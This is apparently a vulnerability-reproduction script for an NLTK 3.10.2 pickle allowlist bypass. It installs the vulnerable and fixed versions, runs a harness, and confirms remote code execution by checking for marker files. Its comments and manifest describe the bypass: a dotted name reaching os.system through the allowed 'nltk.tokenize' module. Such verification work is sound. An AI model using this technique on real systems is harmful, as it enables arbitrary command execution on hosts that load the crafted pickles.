#!/bin/bash
# CVE-2026-71513: NLTK <3.10.3 AllowlistUnpickler dotted-name traversal RCE.
#
# Reproduction strategy (library_api / function_call surface):
#   1. Install nltk==3.10.2 (vulnerable) and nltk==3.10.3 (fixed) into isolated
#      site dirs, reusing the prepared project cache when available.
#   2. Craft a protocol-4 pickle whose STACK_GLOBAL names the allowlisted module
#      "nltk.tokenize" but the *dotted* name "stanford_segmenter.os.system".
#      pickle's find_class getattr-chains dotted names, so on 3.10.2 the
#      module-prefix allowlist passes and os.system executes an attacker command.
#   3. Load the payload through the real public data-loading entrypoint
#      nltk.tokenize.punkt.punkt_pickle_load (uses AllowlistUnpickler with
#      allowed_modules=("nltk.tokenize.punkt", "nltk.tokenize")).
#   4. Vulnerable: marker file created by the attacker command -> RCE confirmed.
#      Fixed (3.10.3): UnpicklingError "dotted name ... forbidden", no marker.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

VULN_VERSION="3.10.2"
FIXED_VERSION="3.10.3"
HARNESS="$REPRO_DIR/harness.py"

# --- Locate prepared project cache (fallback: local artifacts dir) ----------
CACHE_DIR=""
CTX="$ROOT/project_cache_context.json"
if [ -f "$CTX" ]; then
  CAND="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1])).get("project_cache_dir") or "")' "$CTX" 2>/dev/null || true)"
  PREP="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1])).get("prepared"))' "$CTX" 2>/dev/null || true)"
  if [ "$PREP" = "True" ] && [ -n "$CAND" ] && [ -d "$CAND" ]; then
    CACHE_DIR="$CAND"
  fi
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/nltk_cache"
fi
mkdir -p "$CACHE_DIR/wheels"
SITE_VULN="$CACHE_DIR/site-vuln"
SITE_FIXED="$CACHE_DIR/site-fixed"

echo "[repro] ROOT=$ROOT"
echo "[repro] CACHE_DIR=$CACHE_DIR"

# --- Install both nltk versions (idempotent, cache-first) -------------------
install_nltk() {
  local version="$1" dest="$2" stamp="$3"
  if [ -f "$dest/$stamp" ] && [ -d "$dest/nltk" ]; then
    echo "[repro] reusing cached nltk $version at $dest"
    return 0
  fi
  echo "[repro] installing nltk==$version into $dest"
  pip download --no-deps -q -d "$CACHE_DIR/wheels" "nltk==$version" \
    || echo "[repro] wheel download failed (offline cache reuse only)"
  pip install -q --target "$dest" --find-links "$CACHE_DIR/wheels" "nltk==$version"
  touch "$dest/$stamp"
}
install_nltk "$VULN_VERSION" "$SITE_VULN" ".nltk-$VULN_VERSION"
install_nltk "$FIXED_VERSION" "$SITE_FIXED" ".nltk-$FIXED_VERSION"

# --- Verify patch presence/absence in each installed copy -------------------
echo "[repro] checking find_class guards in installed picklesec.py:"
if grep -q 'has a dotted name' "$SITE_VULN/nltk/picklesec.py"; then
  echo "[repro] ERROR: vulnerable install unexpectedly contains the fix"; exit 2
else
  echo "[repro]   $VULN_VERSION: dotted-name guard ABSENT (vulnerable) OK"
fi
if grep -q 'has a dotted name' "$SITE_FIXED/nltk/picklesec.py"; then
  echo "[repro]   $FIXED_VERSION: dotted-name guard PRESENT (fixed) OK"
else
  echo "[repro] ERROR: fixed install missing the guard"; exit 2
fi

# --- Run the exploit: 2 vulnerable attempts + 2 fixed attempts --------------
VULN_RCE=0
FIXED_BLOCKED=0
MARKERS=()
for attempt in 1 2; do
  M="$REPRO_DIR/marker_vuln_$attempt.txt"
  rm -f "$M"
  set +e
  python3 "$HARNESS" "$SITE_VULN" "$VULN_VERSION" "$M" "vuln$attempt" \
    > "$LOGS/harness_vuln_$attempt.log" 2>&1
  RC=$?
  set -e
  echo "[repro] vulnerable attempt $attempt: harness exit=$RC"
  if [ "$RC" -eq 10 ] && [ -f "$M" ]; then
    VULN_RCE=$((VULN_RCE+1)); MARKERS+=("repro/marker_vuln_$attempt.txt")
  else
    echo "[repro] ERROR: vulnerable attempt $attempt did not execute the command"
    cat "$LOGS/harness_vuln_$attempt.log"
    exit 1
  fi
done
for attempt in 1 2; do
  M="$REPRO_DIR/marker_fixed_$attempt.txt"
  rm -f "$M"
  set +e
  python3 "$HARNESS" "$SITE_FIXED" "$FIXED_VERSION" "$M" "fixed$attempt" \
    > "$LOGS/harness_fixed_$attempt.log" 2>&1
  RC=$?
  set -e
  echo "[repro] fixed attempt $attempt: harness exit=$RC"
  if [ "$RC" -eq 11 ] && [ ! -f "$M" ]; then
    FIXED_BLOCKED=$((FIXED_BLOCKED+1))
  else
    echo "[repro] ERROR: fixed attempt $attempt was not blocked as expected"
    cat "$LOGS/harness_fixed_$attempt.log"
    exit 1
  fi
done

echo "[repro] RESULT: $VULN_RCE/2 vulnerable attempts executed attacker command;"
echo "[repro]         $FIXED_BLOCKED/2 fixed attempts blocked with UnpicklingError."

# --- Target identity (exact tested wheel digests) ---------------------------
VULN_WHEEL_SHA="$(sha256sum "$CACHE_DIR/wheels/nltk-$VULN_VERSION-py3-none-any.whl" 2>/dev/null | awk '{print $1}')"
FIXED_WHEEL_SHA="$(sha256sum "$CACHE_DIR/wheels/nltk-$FIXED_VERSION-py3-none-any.whl" 2>/dev/null | awk '{print $1}')"
echo "[repro] vuln wheel sha256: $VULN_WHEEL_SHA"
echo "[repro] fixed wheel sha256: $FIXED_WHEEL_SHA"

# --- Runtime evidence manifest ----------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_WHEEL_SHA" "$FIXED_WHEEL_SHA" <<'PY'
import json, sys
path, vuln_sha, fixed_sha = sys.argv[1:4]
manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "nltk.tokenize.punkt.punkt_pickle_load -> nltk.picklesec.AllowlistUnpickler.find_class (allowed_modules=('nltk.tokenize.punkt','nltk.tokenize'))",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": True,
    "runtime_stack": ["python3", "nltk==3.10.2 (vulnerable)", "nltk==3.10.3 (fixed)"],
    "target_identity": {
        "repository_url": "https://github.com/nltk/nltk",
        "commit_sha": None,
        "target_digest": vuln_sha,
        "runtime_digest": fixed_sha,
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": [
        "logs/harness_vuln_1.log",
        "logs/harness_vuln_2.log",
        "logs/harness_fixed_1.log",
        "logs/harness_fixed_2.log",
        "repro/marker_vuln_1.txt",
        "repro/marker_vuln_2.txt",
        "repro/payload_vuln1.pickle",
        "repro/payload_vuln2.pickle",
        "repro/payload_fixed1.pickle",
        "repro/payload_fixed2.pickle",
    ],
    "notes": "Protocol-4 pickle GLOBAL 'nltk.tokenize'/'stanford_segmenter.os.system' passes the module-prefix allowlist on 3.10.2 and executes the attacker command via os.system; 3.10.3 rejects the dotted name before resolution. target_digest=sha256 of nltk-3.10.2 wheel; runtime_digest=sha256 of nltk-3.10.3 wheel (negative control).",
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print(f"[repro] wrote {path}")
PY

echo "[repro] CVE-2026-71513 CONFIRMED: RCE via AllowlistUnpickler dotted-name traversal on nltk $VULN_VERSION"
exit 0